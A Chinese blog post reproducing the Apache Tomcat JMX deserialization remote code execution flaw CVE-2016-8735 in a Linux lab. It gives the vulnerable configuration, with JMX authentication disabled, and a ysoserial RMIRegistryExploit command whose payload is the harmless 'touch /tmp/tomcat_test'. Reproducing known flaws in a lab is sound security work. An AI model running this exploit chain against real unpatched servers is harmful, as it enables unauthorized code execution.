专栏首页Urahara BlogApache Tomcat Remote Code Execution(CVE-2016-8735)

Apache Tomcat Remote Code Execution(CVE-2016-8735)

Versions Affected

Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47
Earlier, unsupported versions may also be affected.

Description

​ 这个漏洞实质还是JMX反序列化漏洞,tomcat同样也用了JmxRemoteLifecycleListener这个监听器,但是tomcat在Oracle修复这个漏洞后自己没有及时更新,导致了反序列还依旧存在。网上搜了很多关于该漏洞的分析文章基本上都是0c0c0f牛在微信公众号里文章的转载或是变种,也基本都是在window系统上做的测试,所以也就想在linux也测试一下,也就有了这篇文章,大牛们勿喷呐= =、。

Test Environment

Linux Ubuntu server x86 Apache Tomcat (http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/apache-tomcat-8.0.36.tar.gz) catalina-jmx-remote (http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/extras/catalina-jmx-remote.jar) //添加至%TOMCAT_HOME%/lib/目录下 Groovy (https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar) //添加至 %TOMCAT_HOME%/lib/目录下 POC (https://github.com/frohoff/ysoserial)

Test Steps

  1. 修改 tomcat server.xml 配置文件,添加以下内容: <Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />
  2. 修改 tomcat/bin 目录下 catalina.sh ,在# —– Execute The Requested Command ——–处添加以下内容: # ----- Execute The Requested Command ----------------------------------------- CATALINA_OPTS="$CATALINA_OPTS -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false //设为无账号密码认证 -Djava.rmi.server.hostname=192.168.64.7" //设置hostname为服务器ip地址,否则JMX无法进行远程访问
  3. ./startup.sh启动tomcat服务
  4. 执行POC java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.64.7 10001 Groovy1 "touch /tmp/tomcat_test"

​ 关于linux配置tomcat运行远程监控(JMX)这里有个坑,网上搜到的绝大多数关于linux下tomcat jmx配置的文章,都使用了只修改catalina.sh为以下内容的方法,包括Zabbix Wiki也是推荐的这种方式:

   CATALINA_OPTS="$CATALINA_OPTS 
   -Dcom.sun.management.jmxremote
   -Dcom.sun.management.jmxremote.port=9999
   -Dcom.sun.management.jmxremote.ssl=false
   -Dcom.sun.management.jmxremote.authenticate=false
   -Djava.rmi.server.hostname=192.168.64.7"

​ 但就这种方式而言,需要注意的是 catalina.sh 中提供的默认变量名 JAVA_OPTS 和 CATALINA_OPTS。由于 JAVA_OPTS 所添加的参数会在 tomcat 开启和关闭时都运行,所以如果你把 Dcom.sun.management.jmxremote.port=9999 写在 JAVA_OPTS 中时,关闭服务的时候是会报错的,而且在该漏洞场景中攻击利用也是不会成功的,因此需要注意的是在平常渗透过程当中若在linux下遇到了该漏洞,利用不成功也是正常的。


### Referer

http://seclists.org/oss-sec/2016/q4/502

微信公众号:0c0c0f

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Couchdb命令执行

    风流
  • 一条命令找出系统web路径

    风流
  • Web For Pentester - Directory traversal & File Include Part Tips

    风流
  • 【每周CV论文推荐】 初学深度学习图像分割必须要读的文章

    欢迎来到《每周CV论文推荐》。在这个专栏里,还是本着有三AI一贯的原则,专注于让大家能够系统性完成学习,所以我们推荐的文章也必定是同一主题的。

    用户1508658
  • dubbo管理控制台

    1、在github下载dubbo源码 https://github.com/alibaba/dubbo

    week
  • 为UINavigationBar添加自定义背景

    @implementation UINavigationBar (UINavigationBarCategory) - (void)drawRect:(CGRe...

    用户1172164
  • [计算机视觉论文速递] ECCV 2018 专场4

    Amusi 将日常整理的论文都会同步发布到 daily-paper-computer-vision 上。名字有点露骨,还请见谅。喜欢的童鞋,欢迎star、for...

    Amusi
  • Quzrtz的使用

    使用SimpleTrigger SimpleTrigger拥有多个重载的构造函数,用以在不同场合下构造出对应的实例:  SimpleTrigger(Strin...

    庞小明
  • iOS11后32位应用升级

    今天接受了一个改造旧项目的任务,据说项目唯独在iOS11上无法运行。这很容易就让我们想到与最近苹果iOS11放弃支持32位应用的事件有关。确实我在平时开发的项目...

    梧雨北辰
  • 最大的子序列和问题

    http://blog.csdn.net/zhutulang/article/details/7505785

    bear_fish

扫码关注云+社区

领取腾讯云代金券